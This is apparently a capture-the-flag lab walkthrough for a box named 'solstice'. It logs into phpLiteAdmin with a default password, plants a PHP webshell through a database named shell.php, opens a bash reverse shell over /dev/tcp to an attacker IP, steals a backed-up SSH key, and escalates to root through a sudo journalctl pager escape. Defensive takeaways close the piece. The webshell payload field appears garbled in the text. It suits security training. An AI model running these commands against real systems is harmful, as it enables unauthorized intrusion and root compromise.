Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.103 -oN solstice.nmap
# Key open ports:
# 22/tcp open ssh OpenSSH 9.6p1
# 80/tcp open http Apache/2.4.57 (Debian)
# 8080/tcp open http phpLiteAdmin v1.9.7.1
Web — Port 80
Port 80 serves a static "Coming Soon" splash page with no input fields or interesting functionality. Directory brute-forcing finds nothing of note.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u http://10.10.11.103/FUZZ -mc 200,301,302
# (no meaningful results)
phpLiteAdmin — Port 8080
Port 8080 hosts phpLiteAdmin, a web-based SQLite management tool. The login page accepts the default password admin without challenge. Version 1.9.7.1 is displayed in the page footer.
curl -s -c cookies.txt -b cookies.txt \
-X POST http://10.10.11.103:8080/ \
--data 'password=admin&action=login' -L | grep -i "logout\|welcome"
# Welcome... (authenticated)
Foothold — phpLiteAdmin PHP Webshell via Database Creation
Understanding the Attack
phpLiteAdmin allows creating new SQLite database files and specifying their file name. If the web root (or a subdirectory of it) is writable by the phpLiteAdmin process, creating a database named shell.php produces a file that Apache will interpret as PHP. Inserting a row into the database with PHP code as a column default value populates the .php file with executable PHP.
The phpLiteAdmin data directory is /var/www/html/db/, which is directly web-accessible at http://10.10.11.103/db/.
Create the Webshell Database
# 1. Create a new database named shell.php
curl -s -c cookies.txt -b cookies.txt \
-X POST "http://10.10.11.103:8080/?action=database" \
--data 'db=shell.php&action=create'
# 2. Create a table with a PHP payload as the default value for a TEXT column
curl -s -c cookies.txt -b cookies.txt \
-X POST "http://10.10.11.103:8080/?action=createtable&db=shell.php" \
--data 'table=cmd&field[0]=c&type[0]=TEXT&dflt[0]=¬null[0]=1&field[1]=dummy&type[1]=INTEGER&action=create'
# 3. Insert a row to write the PHP payload into the db file
curl -s -c cookies.txt -b cookies.txt \
-X POST "http://10.10.11.103:8080/?action=insert&db=shell.php&table=cmd" \
--data 'field[c]=x&field[dummy]=1&action=insert'
Trigger the Webshell
# Confirm RCE
curl -s "http://10.10.11.103/db/shell.php?c=id"
# (sqlite output junk)uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Reverse shell
nc -lvnp 4444 &
curl -s "http://10.10.11.103/db/shell.php" \
--get --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# www-data@solstice:/var/www/html/db$
User — Backup SSH Key
Enumerating Readable Directories
A scan for world-readable files outside standard system paths reveals a backup directory under /opt:
find /opt /srv /home /var/backups -readable -type f 2>/dev/null
# /opt/backups/solstice_id_rsa.bak
ls -la /opt/backups/
# -rw-r--r-- 1 root root 2602 Jun 9 17:04 solstice_id_rsa.bak
The file is a PEM private key for the solstice user, left in a world-readable location during a routine backup job. It has not been rotated since the backup was taken.
cat /opt/backups/solstice_id_rsa.bak
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...
# Copy to attacker machine and use for SSH
chmod 600 solstice_id_rsa.bak
ssh -i solstice_id_rsa.bak [email protected]
# solstice@solstice:~$ cat user.txt
# 3e8f2b... ← user flag
Privilege Escalation — Sudo Journalctl PAGER Escape
Enumerating Sudo Policy
sudo -l
# Matching Defaults entries for solstice on solstice:
# env_reset, mail_badpass, secure_path=...
#
# User solstice may run the following commands on solstice:
# (ALL) NOPASSWD: /usr/bin/journalctl
journalctl pages its output through the system PAGER when output exceeds one screen — typically less. Since it's running as root via sudo, any shell spawned from within the PAGER inherits root privileges. The PAGER escape is a single command.
Spawning a Root Shell
# Run journalctl as root — output will be piped through less
sudo /usr/bin/journalctl
# Inside less (output must exceed terminal height — resize terminal small if needed):
!/bin/bash
# Alternatively, force pager mode with a unit that produces verbose output:
sudo /usr/bin/journalctl -u ssh --since "1 week ago"
# Then inside less:
# !/bin/bash
# root@solstice:/home/solstice# id
# uid=0(root) gid=0(root) groups=0(root)
# root@solstice:/home/solstice# cat /root/root.txt
# 7c14e9... ← root flag
Non-Interactive Alternative
If less is not invoked (output shorter than terminal height), force pager mode explicitly:
sudo /usr/bin/journalctl -n 9999 | less
# or set PAGER to a command:
sudo PAGER='bash -c "bash -i"' /usr/bin/journalctl 2>/dev/null
Key Takeaways
-
phpLiteAdmin's database creation feature is an arbitrary file write when the storage directory is web-accessible.
phpLiteAdmin is designed for development environments and explicitly warns against production use. The file extension of a created database is not validated — naming it
.phpor.phtmlproduces a PHP-interpreted file containing whatever SQL default values are inserted. If the directory falls under the web root, this is a direct file-write-to-RCE primitive. phpLiteAdmin must never be exposed on a network interface in any production or shared environment. -
Backup files inherit the sensitivity of the original.
An SSH private key backed up to
/opt/backups/with world-readable permissions is as dangerous as the key itself being world-readable. Backup jobs that archive credentials must apply the same access controls as the originals, and backup destinations must be audited independently. -
journalctl is a GTFOBins binary — sudo access to it is root-equivalent.
Any program that invokes a PAGER to display output provides a shell escape vector. journalctl, man, git log, systemctl, and many other common tools delegate to less by default. A sudo policy that permits any of these tools unconditionally is equivalent to unrestricted sudo. Operators should prefer
NOPASSWD: /usr/bin/journalctl --no-pagerwith specific unit restrictions if log access is the operational requirement.